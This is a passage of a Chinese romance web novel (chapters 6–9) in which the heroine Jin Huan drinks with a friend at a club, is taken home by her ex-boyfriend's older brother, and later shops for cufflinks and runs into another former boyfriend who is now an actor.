《昼贪夜欢[玩咖x深情]》
6. 澜悦
靳欢回到家时,沈云岚和靳泓秋二人正在厨房里忙活,隐约有聊天声传来,靳欢悄悄靠近听了几耳朵,得知这两人又在凑一起聊学生。
一个说自己的硕士生都研二了连基础实验都还会出错,一个说自己的博士生论文选题选了一年了都还没选明白,说到兴头上两人对视一眼,俱是长长叹了口气。
然后余光瞧见了正趴在外面偷听的靳欢,异口同声道,
“回头把你当初的毕业论文发来让我和你爸(妈)看看。”
靳欢听得头大,打个哈哈糊弄过去,“咱仨又不是同一个专业的,有什么好看的嘛,哎呀,我要饿死了,还要多久可以开饭啊?”
沈云岚笑了两声,到底是拿她没法子,指了指一旁的保温炉,“先把这些端出去吧。”
晚餐格外丰盛。
饭后,靳欢说了打算明日就搬去外面住的事,靳泓秋虽仍是不大赞同,但是既然答应了也就没说反对的话,倒是沈云岚想了下,有些担心安全,说要明日和她一起过去看看。
靳欢吓了一跳,今天她回来的匆忙,锦月湾那里的画具什么的都还没来得及藏好,哪里敢让沈云岚过去?
于是情急之下忙将商澈川拉出来挡了挡,“妈,你放心好了,我保证再安全不过,之前澈川哥还说过那小区的安保系统做得不错呢!”
靳泓秋闻言,低头喝茶时余光看了眼靳欢,转头看向沈云岚,“你明天不是还要去星城开会么?哪里来得及再去锦月湾?澈川对这方面了解得比你我多,他都说了不错,那肯定没问题了。”
沈云岚依旧有所犹豫,“这样好了,你明天也别和我一起去星城了,你陪着欢欢去锦月湾。”
“改日再去锦月湾好了,我这都提前预约了南省省博——”
“那博物馆你都去多少次了,还不腻?”
“你做实验我也没看你腻过——”
眼看着两人越说越不对劲,靳欢赶忙打断迅速定下来主意,“停!明天你俩该干嘛去干嘛去,等回头不忙了,你俩一起到锦月湾考察考察,这样总行了吧?”
话到了这里总算三人都满意了下来。
随后,沈云岚又问了几句靳欢工作的事情,见靳欢说到之前的工作还没入职就黄了时有点儿沮丧模样,忙安慰道,“工作不着急,这才刚回国,多玩玩放松放松也没事。”
其实工作不工作也无大差,沈家的股份分红和靳家的家底,养靳欢十几辈子都绰绰有余,只是沈云岚总是感觉有个事情做着,才不至于落入虚无中。
靳欢认真听着,全都一一应下,只是听到靳泓秋说晚上时不准玩到太晚时,多少有点心虚。
……
次日。
晚上六点。
澜悦三楼,引路服务员敲开门后,靳欢还没来得及反应,便被里面冲出来的人一把搂住了脖子,“宝贝,你可来了!人家等你等得花都谢了!”
多年好友,靳欢早就熟悉这位的性子,见状步伐丝毫不乱,只用眼尾透过睫羽扫了一眼过去,“哦?来,靠近些,让我看看花谢了没?”
她应对得淡定,陈瑞初却是真切被她眯眼时漫不经心的神采煞到了,半点儿也淡定不了!
足足愣神了三秒,回神后立马拍着胸口向着撤退了几步,“不行不行,你别这样看我,受不了了,我现在就得找几个帅哥照片看看调理一下!!”
靳欢被她夸张的语气逗笑,见她还当真拿起了手机,不由得无奈道,“戏演一下就行了啊,点菜了没?”
陈瑞初摇摇头,让服务员递了平板到她手里,“你点。”
靳欢低着头看菜单时,陈瑞初就撑着下巴看靳欢,都说美人在骨不在皮,但靳欢硬是两者都美。
尤其是眼睛,看狗都深情。
现在看个冷冰冰的电子设施而已,都有种看着恋人的心动。
用网上的话来说,靳欢这样的,就是可攻可受型,安静认真时就自带无辜气质,忍不住让人心起保护欲,但冷着脸时,又让人心跳加速想跪下叫姐姐,然后特别特别想用技术征服她,挑逗她,让她失控,让她汗意淋漓,缠绵不断,不舍得……咳,不舍得下床。
她一会啧一下,一会儿叹气下,靳欢想忽略都不成,抬头看去,正欲说话却先被她通红的脸色吓了跳,“你发烧了?”
陈瑞初脱口而出,“在心里夸你呢!”
靳欢沉默一瞬,又重复了一遍,“我是问你是不是发烧了?”
“奥?没没没,”陈瑞初陡然回神,“就是太热了而已,点好了吗?我再加点!”
见她手指毫不犹豫地点加号,靳欢抬手拦了下,“太多了浪费。”
只是最后还是太多了些,每样尝几口也就差不多饱了。
差不多要吃好了时,陈瑞初出去去了趟洗手间,靳欢则瘫在落地窗前摇椅上看手机。
不经意抬头时,才忽然发现外面不知何时飘起了细雨。
雨丝打在玻璃上,模糊了外面车水马龙带来的灯光,像是PaulKenton笔下的雨夜街景。
靳欢拿出手机随手拍了一张,发了动态。
手机还没放下,陈瑞初就回来了,“欢欢,快起来补个妆,咱们一起去顶楼玩,澜悦今天请了个待出道乐队在楼上表演呢!”
靳欢懒懒的不大想动,但无奈陈瑞初是铁了心拽也要拽她去,“哎呀,欢欢,拿出你大学时一个月换六个男朋友彻夜笙歌的活力来行不行,来来来先坐好,我给你补补妆!”
她从包里倒出化妆品,奈何左看右看,都无从下手,最后只用口红帮着润了润唇瓣,叹气道,“唉,太好看了也是对化妆品的一种残忍。”
看她目光盯着衣服打量,靳欢怕她下一步就要打电话喊人现在送衣服过来,赶紧先一步站起身来,“还不走么?”
“走走走!”陈瑞初立马应下。
……
澜悦顶楼,是澜悦自家的会员制酒吧。澜悦背靠大资本,请些小明星小歌手的过来表演是常事。
在靳欢的印象里,有一年元旦跨年还请了国际上小有名气的歌手CCglue,当时她和陈瑞初想过来看,但奈何两人都是未成年独自进不来,最后是把商撤川拉了过来冒充监护人才进来。
当时,就在靠窗的卡座那里,商澈川还差点和人打了一架。
靳欢回眸看去,发现昔日的旧卡座现在已经换成了自取甜品台。
见她回头看,陈瑞初明显也想到了往事,抿了一口酒凑近些小声道,“欢欢,话说当初你商哥哥到底为什么打架啊?”<
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被她这口“商哥哥”腻歪到,靳欢嫌弃“咦”了声,“好好说话,商澈川就商澈川,什么商哥哥?”
陈瑞初噗嗤一声笑了出来,整理整理表情,挤出一副痛心疾首的模样来,“欢欢,我虽早知晓你是个渣女,但没想到你竟然无情无义到如此地步,当时我俩被挡在来这里的电梯外,打电话喊商澈川来救急时,可是你自己一口一个商哥哥求人的,是不是?别不承认哈!”
什么?
靳欢倒不是装作惊讶,而是确实是想不起来了。
不过转念想想,当时有求于人,说两句软话不是很正常嘛。
陈瑞初看出她意思,这次没反驳,而是用力点了点头,“你那软话的确没人拒绝得了!”
当事人现在嫌弃腻歪,可对于听到的人来说,她不信谁会感到腻歪,当时她等在旁边,只听了半耳朵,骨头就已经酥了大半。
两人几句话往来,反倒是忘记了一开始的话题。
直至彼此都要了第二杯酒时,陈瑞初才又重新想了起来,要和靳欢说时,但一抬头就看见了迎面而来的明显有着目的的男人。
纵使换了身黑色衣裳,戴了鸭舌帽,陈瑞初仍是一眼就看出了这是刚刚还在台上演出的乐队键盘手,艺名好像是叫什么Estara?
长得倒是挺帅的,她心里吹口哨,暗中戳了戳靳欢,示意她抬头。
靳欢正在等着调酒师递过来第三杯酒,闻言只随意扫了眼来人,无声拒绝,表示没兴趣。
但来人明显不想放弃,“美女,可以认识一下么?”
靳欢不应,对方面上尴尬一瞬,自我解围,“这么高冷,难道是我长得不够帅不够资格吗?”
油腻腔调。
靳欢没了耐心,漫不经心侧眸,“确实长得不够帅,不舍得找个好一点的整容机构么?鼻子里的垫体太假了。”
有旁观者笑了出来。
酒吧里特有的那种昏暗氛围灯下,键盘手脸色几经变幻,最后带着不敢惹又不甘心的神情离开。
陈瑞初笑得趴在吧台上直不起腰来,见靳欢接过酒后已经又喝了一半,本想拦一拦,后面一想,自己不喝了当护花使者就是了,于是果断将自己的酒直接换成了果汁。
她们上来时约莫是七点半,在这里消磨时间到了十一点多,中间还去外间和人一起玩了几轮卡牌游戏,又去舞场跳了个痛快。
电梯里,陈瑞初一边扶住醉意朦胧的靳欢,一边打电话让司机将车开到门口去等着。
“欢欢,要不要今晚去我家?”
她记得以前欢欢爸妈对欢欢回家时间要求最晚不能超过十点,现在回去会不会被骂一顿?
但见靳欢摇了摇头后,陈瑞初也没放在心上,毕竟现在都是成年人了,谁还家会要求这么严格?
中途电梯停下,陈瑞初还以为到了一楼,正要扶着人出去,结果差点和进来的人迎面撞上。
她自己没事,倒是比她高了将近十厘米的靳欢踉跄了一下差点跌倒。
多亏了进来的人及时扶住。
陈瑞初忙道谢,要将靳欢接过来,抬手却扶了个空,来人似是没注意到她的动作,只是皱眉看向靠在他肩膀上的人,嗓音冷冽,
“怎么喝这么多酒?”
7. 荼靡
适才全部注意力都在靳欢身上,此刻陈瑞初才有心思打量来人。
一看清脸,自己倒是先惊了下。
这不是在楼上时她和靳欢才提起过的那位么?
认真算起来,她其实已经有好几年没有见过好友的这位世家哥哥了,但无奈这人气质太独特加上五官又出色,哪怕只是见过一面,怕是也很难忘却。
更何况,这位的名声如今可不算小,都是不到三十岁的人,这人硬是甩开同辈几条街,直接晋升为商总。
她老爸就曾感慨过,说他们陈家要是出一个陈澈川就好了。
不过这么晚了,他怎么在这里?谈生意要谈到这么晚么?
陈瑞初压下疑惑,笑着点头打了个招呼,手下已经再次想要将靳欢扶过来——
可是商澈川侧身腾出左手来去按关门键,正垂着脑袋靠在他肩膀上的靳欢也跟着一起转了个身,从本来靠近电梯门中央的位置移动到了商澈川和电梯一角中间的位置。
她醉得不轻,此刻更似是完全没察觉换了个人扶她一样,仍是将脑袋杵在人家肩膀处。
陈瑞初哭笑不得,开口喊她,但“欢欢”两个字还没出口,就看见好友正将手肆无忌惮地摸过商澈川的腰身,连人家本是一丝不苟的衬衫都从皮带下扯出了一角。
啊?
陈瑞初根本不敢抬头看男人的脸色。
想笑又不好意思笑,只尴尬解释道,“欢欢她今天喝醉了,欢欢,过来,我送你回家——”
她提高了些声音,但是靳欢却完全沉浸在自己的世界里,根本没给她反应。
男人已经几次三番抬手试图按住靳欢乱动的手,但均已失败告终,似是已经有了几分不耐烦,陈瑞初看得紧张,生怕他直接将人推开撞到了电梯墙上。
不过他倒是转个身啊?不然欢欢在他身后夹角里自己怎么够得着?
陈瑞初故意咳嗽一声,“商总,麻烦您先——”
“让一让”几个字还没来得及说出口,就被一声不满的控诉打断,
“Denden,你把糖果放在哪里了呀?”
有那么一瞬间,陈瑞初甚至怀疑连电梯变换的楼层显示灯都透露着一股尴尬。
她当然知欢欢口中Denden是谁,也就是因为知道,才觉得离谱,毕竟眼前男人和商澄明虽是同一个母亲,但是长相上其实相似度不大。
欢欢这倒是是醉成什么样了,才能将前男友哥哥认成去前男友?
不过倒是突然明白了欢欢为什么会愿意被他扶着了,欢欢醉酒后虽然会比较任性,但是是很依赖熟人的,不亲近的人,她根本不会理会。
陈瑞初绷住神色,准备打个哈哈强行打断靳欢的施法,结果一抬头发现似乎只有自己在尴尬。
商澈川面色虽冷但淡定,至于靳欢,她的手还在男人的西装裤袋里摸索,像是生怕因为错过了一个缝隙而错过了藏在其中的水果软糖。
可摸索来摸索去,始终摸索不到,就难免起了骄纵脾气,“你是不是自己吃完了?”
陈瑞初实在绷不住了,哄着她道,“欢欢,这是商总,不是商澄明!”
而且她以前还是从欢欢口中得知的,这位从不吃甜食。
可什么商总商澄明的,靳根本欢不想听,她的秀气鼻尖在男人胸口处耸了耸,再次笃定道,“你肯定带了糖果!”
陈瑞初眼睁睁看着靳欢躲过她去拉人的手,在心里发誓,改日一定要买个几箱子糖果随身带着!
不,不要改日,现在就带着这祖宗去买!
她有了主意,打算用去买糖果的由头先将欢欢哄过来,可已经有声音在她之前响起,
“别急,等下给你。”
不急不忙,缓和得甚至有种在耐心安抚人的错觉。
陈瑞初愕然刹那,回神才发现商澈川已经扶着人出了电梯。
原来是电梯到了随口应付要先将人骗出去。
她忙追上去时,前面的人也正好停住步子回过头来,神色礼貌但疏远,“陈小姐带司机了么?”
“啊?奥,带了带了,可以送欢欢回——”
“那我就不送陈小姐了。”
男人说话间,已经继续向前走去。
陈瑞初脑子迷糊了几秒,才惊觉他这是要把欢欢一起带走?!
“商总,等一下!”
男人回头,“陈小姐还有事么?”
他语气太过于平淡,让陈瑞初一时以为是自己不该将人喊住,气也跟着莫名虚下来几分,“商总有事要忙的话,还是我送欢欢回去吧?”
“不忙。”
“……咳咳,还是我送——”
“陈小姐在担心什么?”
对方直接将话挑明,陈瑞初猝不及防,一时讷讷,只是仍是不肯放人走。
她也不是信不过商澈川,只是她的原则之一便是,不将醉酒的朋友交到别人手里。
她还在疯狂找理由,对方却直接给出了解决办法。
电话拨通,
“沈伯母……我遇到靳欢了……嗯,好,顺路带她回去。”
既然欢欢妈妈都同意了,陈瑞初虽然不大情愿,但也没话可说了,“那商总路上小心,欢欢就交给您了!”
多少有点儿阴阳怪气的不爽。
她从服务生手机接过包,准备跟上去看着人上车时,身后却忽然传来一声“咦”,“陈瑞初?你也在啊,怎么,这是要回家了?这才几点啊?上去再玩几小时呗,方子耀也在呢!”
来人是她认识的人,都是家里不缺钱的,以前也常一起吃喝。
而且这人口中的方子耀,还是她堂姐家的孩子。
陈瑞初没心情,开口就要拒了。
但来人还在缠着她说东说西,烦躁间,她不经意抬头时,忽然瞧见已经扶着人走过了旋转门的男人似是回头淡淡看了眼。
陈瑞初一愣,后知后觉的差点一口老血吐出来,合着这人非要带走欢欢是信不过自己啊???!
门外靳欢追问的声音隐约传来,
“糖到底在哪里呀?怎么还没有?”
陈瑞初气哼一声,她倒要看看他从哪里给欢欢变出一颗糖来!
她在心里给靳欢打气,快点不满他,把他推开,然后说要瑞初送你回家!
可门外,服务生撑开伞在一旁等候,男人低头说了句什么,被他的身影挡住了大半的靳欢就安静了下来,主动伸手环住了他脖颈,乖乖由着他抱着走过门口湿漉漉的地板。
司机早已开了车门等着,待人上车后稳稳将车开走,只留下溅起的水痕。
这小没良心的!!!
陈瑞初气急,拿出手机给靳欢狂发控诉!
路边——
有几个戴着口罩浑身沾满的水汽男人正在东张西望,
“这里不会根本打不到车吧?”
“公司里本来不是说派车来接,现在还不是说不来就不来?”
“马耀祖,你发啥呆呢?”
黑衣裳男子不耐烦,“说了别再叫我马耀祖!”
“马耀祖,马耀祖,马耀祖,就叫怎么着?”
雨天本就烦躁,队友还吵架,贝斯手赶紧开口缓和几句,“耀祖说得——咳,Estara说得对,以后大家都互叫艺名,提前适应适应哈!”
几人都没了声。
雨幕中,黑衣裳男子再次看向刚刚车子离开的方向,脸上阴沉无光,呵呵,之前搞得那么傲
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气,还以为是个富家千金,没想到也就是个装模作样钓凯子的!
……
晚上十一点多,路上车子仍是不少。
司机全神贯注盯着路况,直到听到车内挡板升起的声音时,才忍不住余光看了眼后视镜。一闪而过的画面里,只有男人举起的手,和另外一双抬起攀附在他西装袖口的葱白指尖。
实际上,几次三番够不到想要的糖,靳欢已经没了耐心,但又不肯这般直接松手,摸索半天,将他的袖扣拆下直接一把扔到了车座下面。
斜着眼看他,不说话,是在堵气,也是在挑衅。
她自认为的挑衅。
如果忽略挣扎时弄乱的长发,在舞场玩闹到极致后的荼靡疲倦,以及唇瓣口红褪色后不均匀的深红浅红,也还能算是有几分气势。
商澈川眸色欲深,彻底被吞没前,别过眼望向窗外,试图平复下已经绷紧到难以克制的心跳。
但窗外广告牌一一闪过,他对上面的硕大的字体已经彻底失去了阅读的能力。
从七点二十三分在公司看到她发的动态,他就再没看得下去任何一份文件。
满脑子都是她。
直到听到身旁人又喊他“Denden”时,发烫的指尖才冷却了半分。
只是半分。
且一转过头就再次迅速升温到极致——
唇瓣的柔软一触即离。
靳欢歪着脑袋看他,像是在疑惑她都主动亲他一口了,他怎么还不把糖给他。
商澈川垂下眸子,指尖将糖果包装拆开,
“张嘴。”
靳欢乖乖听话。
终于吃到心心念念的荔枝味软糖,靳欢满意下来,靠在椅背上,昏昏欲睡,过了一会儿,又似想起了什么般,抬起了眸子,“Denden,放首歌吧?”
点歌板就在她伸个手就能碰到的位置,但是她懒得动弹,只等着别人伺候她。
商澈川看向她,“想听什么歌?”
靳欢摇头。
意思是他随便。
但要是真随便了,她肯定是要不满意的。
商澈川指尖动了动,音乐声响起。
“WhenIwasyoungI''dlistentotheradio.
Waitingformyfavoritesongs…”
播放器里的女歌手的声音之外,是靳欢跟着轻轻哼唱的声音。
她唱歌很好听,
他早就知道。
她和澄明一起读高三时,准备毕业晚会节目,澄明故意选择了一首男女对唱的情歌,又故意撒谎说要一起唱歌的女生去国外面试来不了,求着她去救急,就是为了想和她一起唱歌。
临从家里出发前,她拿着手机边看歌词边练习,甚至还去敲了他房间的门,
“澈川哥,打扰你一下,帮忙听一下我有没有跑调可以吗?”
夏日的晚上,十七岁的少女穿着白色的裙子,靠在他门口唱了一首情歌。
他那时一边忙着应付港城已经开始时不时过来打探的目光,一边在准备手底下的项目竞赛,疲惫不堪,第一次知道,原来情歌也可以那么好听。
好听到让人起了贪念。
……
次日。
靳欢醒来后,像平常一样到客厅先接了杯水润润口。
外面阳光很好,她拉开窗帘,舒舒服服伸了个懒腰,直到余光瞧见地上扔着的抱枕时才突然意识到了什么不对劲。
一闭眼,昨夜的记忆乱七八糟都纷纷挤了上来,靳欢一时之间不知道该先消化哪一件。
手机也不知道被扔到了什么角落里,靳欢找了一圈,才在沙发缝隙里找到。
8. 袖扣
一解锁,光陈瑞初发来的消息就有99+,点开对话框,点了下右侧的上滑提示,屏幕瞬间滚动起来。
满屏的消息里,“商澈川”几个字和句尾数不清的感叹号格外明显,靳欢只扫了一眼,就顿觉头大,瘫在沙发里试图冷静下心情。
她昨日喝酒的确喝得放纵了些,但自认为酒品不算差,怎么把商澈川认成了商澄明?
思索时,余光忽然看见了玄关木质衣架上挂着的西装外套。
商澈川落下的?
靳欢不知想到了什么,起身过去,犹豫了下,凑近闻了闻西装上衣领处。
除了洗衣时留下的淡淡味道,并没有自己记忆中闻到的那种又甜又诱人的荔枝软糖的味道。
唉,果真是昨晚喝酒喝得嗅觉都出了差错了。本来还想着会不会是商澈川身上有荔枝味她才会认错人,现在看来就纯粹是昨天脑子完全不在线。
她心里哀叹喝酒误人,一低头看见进门处托盘上放着的东西时,适才没记起的关于昨夜的后半段回忆也跟着浮现出来。
想死。
当时应该已经是半夜了,她迷迷糊糊醒来,就看见自己睡在沙发上,身上盖着毯子,隔了大半个客厅,商澈川估计是担心自己出了事,人还没走,正坐在单人沙发上似是睡着了。
又或者只是闭目养神,反正她一动,他就醒了。
当时具体说了什么她已经记不清了,只记得自己十之八九是还剩下一半醉意未清醒,大半夜的,竟然问商澈川愿不愿意做自己的模特。
结果当然是毫无意外被拒绝了。
如果只是到这里就结束了就好了,但当时自己不知道犯得哪门子的轴,想起了在澜悦酒吧和瑞初说起的求人的事情,拦住人不让走,喊了好几声“商哥哥”撒娇……
救命,光是想一想靳欢就觉得尴尬得头皮发麻。
而且也有些冒犯。
她是知道的,商澈川的生父是个在国内有点名气的画家,后来出轨自己的模特,所以之前商澄明和自己说他哥讨厌画家和模特这些时,她都觉得情有可原。
也难得商澈川是个好脾气的,昨晚自己胡说八道一气,他竟然不仅没发脾气,还耐着性子和自己说话。
先说了什么商澄明让他帮忙转告女朋友不女朋友的事,又说了什么上次发夹在他车上丢了找不到,带过来一个作为赔礼。
前者她当时直接摆摆手说懒得听关于商澄明的事,完全忘记了几个小时前她还把人认成了商澄明。
后者,她隐约记得当时说不用,但他好像说什么几年前偶然得到的,一直放在家中也是无用。
偶然得到……也不知道是怎么个偶然法。
反正现在盒子就在托盘上放着。
靳欢随手拿过来,本是随意看了眼,没想到东西竟是意外的合眼缘。
贝壳状刺绣风格,中间一颗银灰蓝珍珠,让人眼前一亮。
盒子上下都没logo,看不出是什么牌子。
靳欢想了想,将东西别在头发上,对着镜子来了张自拍照。
拿起手机找到商澈川的头像,犹豫了下,还是将照片发了过去。
附带了一条消息,
“澈川哥,昨晚谢谢你送我回来!
ps发夹SOOOnice!谢谢~”
对面可能在忙,没回消息。
靳欢开始回陈瑞初发来的那一长串的消息,回到一半突然想起忘记说西装外套的事了,退出和陈瑞初的对话框,才发现商澈川已经回复了。
“不用谢。”
靳欢盯着这三个字看了一会,猜测他应该没把昨晚的事放在心上,于是微微松了口气,又将西装的事说了,主动说要给他送过去。
对面这次回复的很快,说是在外地出差,改日自己来取。
她这边发个消息的短短半分钟的时间,另外一边陈瑞初见她突然没了回应,直接打了电话过来,
“十一点多了,宝,出来一起吃饭呗?”
靳欢一边向浴室走一边回她的话,“哪家店?”
知晓她是完全的中国胃,对面陈瑞初没犹豫,立马报了好几个店名,“金盏川菜馆?老常私房菜?八方锦?鲁仙楼?奥对了,还有一家去年开的,叫湘客斋,味道也不错。”
靳欢选了最后一个。
陈瑞初立马道,“OKK,定位等下信息发你。”
挂断电话,靳欢拿个浴袍的功夫,陈瑞初就发好了定位过来。
她扫了一眼,正准备先去冲个澡,手机里突然多了条陌生号码刚发来的短信。
长长一串。
靳欢只看了个开头,就熟练地将号码拉黑了。
哈市郊区——
看着再次发出的短信旁的红色感叹号,商澄明深呼一口气,难掩脸上沮丧。
桌子对面坐着的同组演员康子显冲着他鞋子踢了下,示意他赶快将手机还给自己。
接过手机立马藏好后,他才有心思冲着商澄明眨了眨眼,小声打探,“怎么?又被拉黑了?”
商澄明没应声。
康子显在心里惊讶“咦”了声,他认识商澄明不算久,是来到这个剧组参与排练同一个话剧后才认识的,但是相处了一段时间,多少也能推测出商澄明家境应该不错。
长得帅,家里有钱,性格也不错,多才多艺,所以到底是什么样的前女友,他追了这么久不仅追不回来还念念不忘地继续追?
他好奇得不得了,实在忍不住了,问道,“澄明,你前女友是不是特别漂亮的那种?”
没想到对面人却嘲讽瞪了一眼过来,“肤浅。”
说罢,直接端着餐盘走了。
留下康子显呆呆“啊”了声,半晌才回过神来,摊了摊手,嗯……那就是不漂亮喽?
……
湘客斋。
地方不算大,不过考虑到这里距离商业中心也就几百米距离,说是寸土寸金都不为过,倒是也可以理解。
靳欢一进去,还没拿出手机给陈瑞初发消息,她就已经站起身来招了招手,“欢欢,这里!”
她过去坐下后还在看菜单,陈瑞初早已按捺不住,叭叭叭叭将商澈川批斗了一番,最后以一声重重的冷哼作为结尾。
靳欢揉了揉耳朵,起哄道,“改日见面了,你当面和他吵去?”
陈瑞初气呼呼,“笑死,我才懒得吵!”
“好了,好了,消消气,”靳欢动手倒了一杯茶推过去,“他比我大几岁,可能潜意识里就有照顾弟弟妹妹的心理吧。”
陈瑞初本来也不是真的气到要怎么样才行,此刻听了这话后点了点头,“这倒是有可能,别的不说,光昨天你对他动手动脚那动静,他竟然都还能耐得住性子送你回家哎!”
靳欢严肃纠正她,“是动手,没动脚。”
“无所谓。”陈瑞初摆摆手,又缠着靳欢打听后面回家的事,打听着打听着,突然冒出来一句莫名其妙的话害得靳欢直接被茶水呛得咳得停不下来。
她问的是,“哎,欢欢,商澈川在你们住了好几年,难道没对你
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表过白?”
靳欢从咳嗽声勉强挣扎出一句话,
“我又不是金子,哪怕是金子,也有人不喜欢吧?”
陈瑞初一边帮她拍着背一边自顾自道,“真没表过白?这也太稀奇了……你没骗我吧?”
靳欢不知道她对自己的这种过度相信到底从何而来,见她一副怀疑自己撒了谎的摸样,索性将自己昨晚求人做自己模特结果被拒绝的事情讲了一遍。
这下陈瑞初终于沉默了下来。
还以为她这是认清现实了,没想到过了几分钟,突然见她一本正经的道,“我知道了!”
嗯?什么?靳欢疑惑抬眸。
“他是不是那个?”
“哪个?”靳欢一开始没反应过来,直到看见陈瑞初挤眼睛时,才理解到是什么意思,“……他不是,别瞎想了。”
“你怎么知道他不是?欢欢,你想想,第一,他是不是从没有过女朋友?第二,他是不是从没否认过他不是同性恋?”
这是什么歪理逻辑?
靳欢无语,“我还从没否认过我是秦始皇呢!”
见陈瑞初还有继续理论的意思,靳欢赶紧把筷子塞她手里,“我有关键证据,人家有暗恋的白月光。”
说完,感觉不严谨,又补充道,“异性白月光。”
陈瑞初两眼放光,“长什么样啊?”
靳欢摇头,“没见过……行了,快吃吧,吃完陪我逛逛街?”
……
逛街的目的是想要给商澈川买一对袖扣作为谢礼,也是赔礼。
但几家奢侈品店逛了下来,一件看中的都无。
其实这种东西,只要合适就行,倒也不必非要喜欢,但靳欢有个毛病,就是不买还好,要买就非要买到满意的才行。
多亏了陈瑞初本身也是个逛起街来不嫌累的,陪着靳欢一家家挑选下来,也一点儿都不嫌烦。
前面没几家店了,陈瑞初提议不如飞港城买去,靳欢想了想,倒也不是不行,不过,“先再看看这几家吧。”
三家,前面两家都无好看的现货。
最后一家,进去后靳欢才察觉到有些不对劲,里面的顾客怎么大多数都是成对的?
她和陈瑞初对视一眼,又抬头看了眼店名,这才恍然。
以前这个位置是一家传统珠宝门店,没想到现在换成了别的。
QK,老牌子Ocean名下的分支,主打的是设计感比较强的轻奢。
至于为什么这么多成双成对的客户,是因为这家店全名叫“Theyoungqueenandking”,一听就很适合情侣们互送礼物,而且店里面确实有很多都是男款女款互相呼应。
靳欢兴趣消了一半,但陈瑞初拉着她不放,一开口就是经典句式,
“来都来了!”
那就逛逛吧。
就是柜员看她俩的眼神有些不对劲。
陈瑞初发现后,直接犯了戏瘾,冲着人家问得认真,“嗯,有什么合适我俩的推荐么?”
还真有。
情侣款耳钉。
都是银色调加金色调,点缀少许冰蓝。
一对枯叶形状,一对蝴蝶形状。
该说不说,材料虽不是珍稀物,但设计得的确出彩。
陈瑞初大手一挥就要把卡递过去,靳欢拦住她,“等下我一起付。”
“啊?你找到看中的了?”
靳欢“嗯”了声,指尖点了点柜面,示意柜员,“可以把这一款袖扣拿出来看看么?”
9. 殊荣
完美圆形,金色外圈,边缘带有严密齿轮,内部是棕色皮质打底,一半空白,一半点缀了金色几何图形,有种简约和机械结合的美。
而且她记得他有一块表的表带就是这样的深棕色,倒是相配。
靳欢点点头,“这个麻烦装起来,一起刷。”
走出店门,陈瑞初却反倒是嘟嘟着一张脸,“哎呀,本来还想拐你去港城玩的!”
靳欢手中拿着杯刚刚QK提供的咖啡,抿了口,“也可以去。”
陈瑞初惊讶,“我还以为你又要待在家里画个不停呢!”
说起画,靳欢眉眼多了些烦躁,“没模特,没心情画。”
陈瑞初闻言,直接站定了步子,拿出手机发了个消息出去,很快就收到了有新邮件的提示。
她把邮件打开,手机递给靳欢,“喏,随便挑,只要有看中的,半小时内保证人可以出现你面前,你想怎么画就怎么画!”
被她这豪爽摸样逗笑,靳欢半靠在围栏上,指尖划过手机屏幕,照片也一张张换过。
陈瑞初家里有娱乐公司业务,这些都是她家公司下面的艺人。
说实话,能入得了娱乐公司经纪人的眼的,颜值上都不会太差。
只是心里已经有了个最惦记的,再看其他的总是差点意思。
靳欢摇摇头将手机还回去,主动岔开了话题,“明天去港城?”
陈瑞初一口应下,定了时间后,两人又一起玩到九点多才各自回家。
只是计划赶不上变化——
次日,陈瑞初一大早就发来了消息,说家里老爷子生病,她爸把她抓去医院表演孝心,去不了港城了。
而靳欢,也有事要去海市一趟。在海市待了两日回来,刚下飞机就接到沈云岚打来的电话,喊她晚上回家吃饭。
靳欢一边走一边随口问商澈川去不去,得知不去时可惜了一瞬。
要是他也去的话,就可以直接把他的衣服和袖扣都顺便交给他了。
而她这边电话刚挂,另外一通电话就打了进来,
“欢欢,这里!”
陈瑞初的声音同时从电话里和电话外响起。
被拽着上了车,见她神秘兮兮的,靳欢也不问去哪儿,索性时间还早,才下午两点多,也不怕折腾。
约莫一小时后——
华星艺校西门,校庆日的喜悦气氛洋溢到了校门之外。
陈瑞初把靳欢拉下车,“走,进去逛逛?”
……
她们两人虽都没在华星上过学,但大学那会儿经常过来逛,倒也不陌生。
而且,之前靳欢还谈过一个华星艺校的男朋友,不过具体叫什么名字记不清了,只记得眼睛很好看,半垂着眼时颇有几分清冷姿态。
她谈过的男友里眼睛多是同一种轮廓的,商澄明是个例外,这个前男友也是个例外。
说起来,这个前男友的上半张脸和商澈川倒是有几分相似。
不过人倒不是个商澈川那样看着温润实际疏离清冷的性子。
至少在热恋中时很热情。
思及往事,靳欢有几分走神,直到被陈瑞初戳了戳肩膀,“哎,欢欢,你看那儿,这言承可以呀,都变成华星的优秀校友了?”
她说言承时,靳欢还没反应过来是谁。
及至一抬头看了眼上面正在循环播放校友祝福的大屏幕时,心里忍不住吹了个口哨,说前男友前男友就到?
那要不她现在说个模特,上天也马上赐给她一个合眼缘的模特出来?
可惜上天时灵时不灵。
在华星艺校逛了两圈,也没个一眼心动的。
两人在校内咖啡厅坐下歇脚,靳欢累得直接把脑袋靠在陈瑞初身上,帽子盖在脸上。
但咖啡还没排到,就有个人过来像是有话要讲。
以为又是星探,陈瑞初头也不抬,直接摆摆手,
“她没兴趣。家里有矿。要说话先给转个五位数。”
来人安静了下来。
陈瑞初以为人都走了,低着头安心玩起了手机,没想到十来秒后,突然听到这人开口道,
“转了,她把我拉黑了,转不了。”
声音很年轻,还带着几分莫名委屈。
……啊?
陈瑞初使眼色,欢欢,这谁啊?你惹下的风流债?
靳欢微微抬了抬帽檐,回了个眼神,优秀校友,不认识了?
……啊?
陈瑞初难掩惊讶,同时也佩服靳欢不愧是画画的,眼前这人又是帽子又是大口罩的,脸上只能看清一双眼睛,也亏得她只抬眼看一眼就能认得出来。
说起来,言承在娱乐圈势头倒是挺猛的。
起跑线好,出道代表作是刑侦题材电影,直接先把“演技好”的章盖在了自己身上,粉丝提起来都自带点儿高人一等的味儿。
可惜签在了别的娱乐公司。
不知道是几年的合约?
陈瑞初悄悄捏了捏靳欢的胳膊,笑着请人坐下,顺便给不肯说话的靳欢都找了个由头,“她身体不舒服。”
言承“哦”了声,没说别的,但也没拒绝坐下。
“忘记带笔了,早知道言老师在,就该拿本子让言老师帮忙签个名的,我特别喜欢言老师的那部《插翅难飞》。”
“谢谢。”
“言老师要喝东西吗?我帮你点?”
“不用了。”
“听说言老师的新电影《妄念》已经杀青了,恭喜啊!”
“她要去医院看看么?”
两句话同时响起。
“……”陈瑞初一噎,合着这人心思全在欢欢身上?
她强行绷住神色,“不用不用,欢欢休息一会儿就好。”
对方又“哦”了声,没了后话。
陈瑞初自认为很擅长交际,此刻都有点绷不住了,挤出个笑,开口就要再扯一个适合闲谈的话题时,没想到这次对方先开了口,
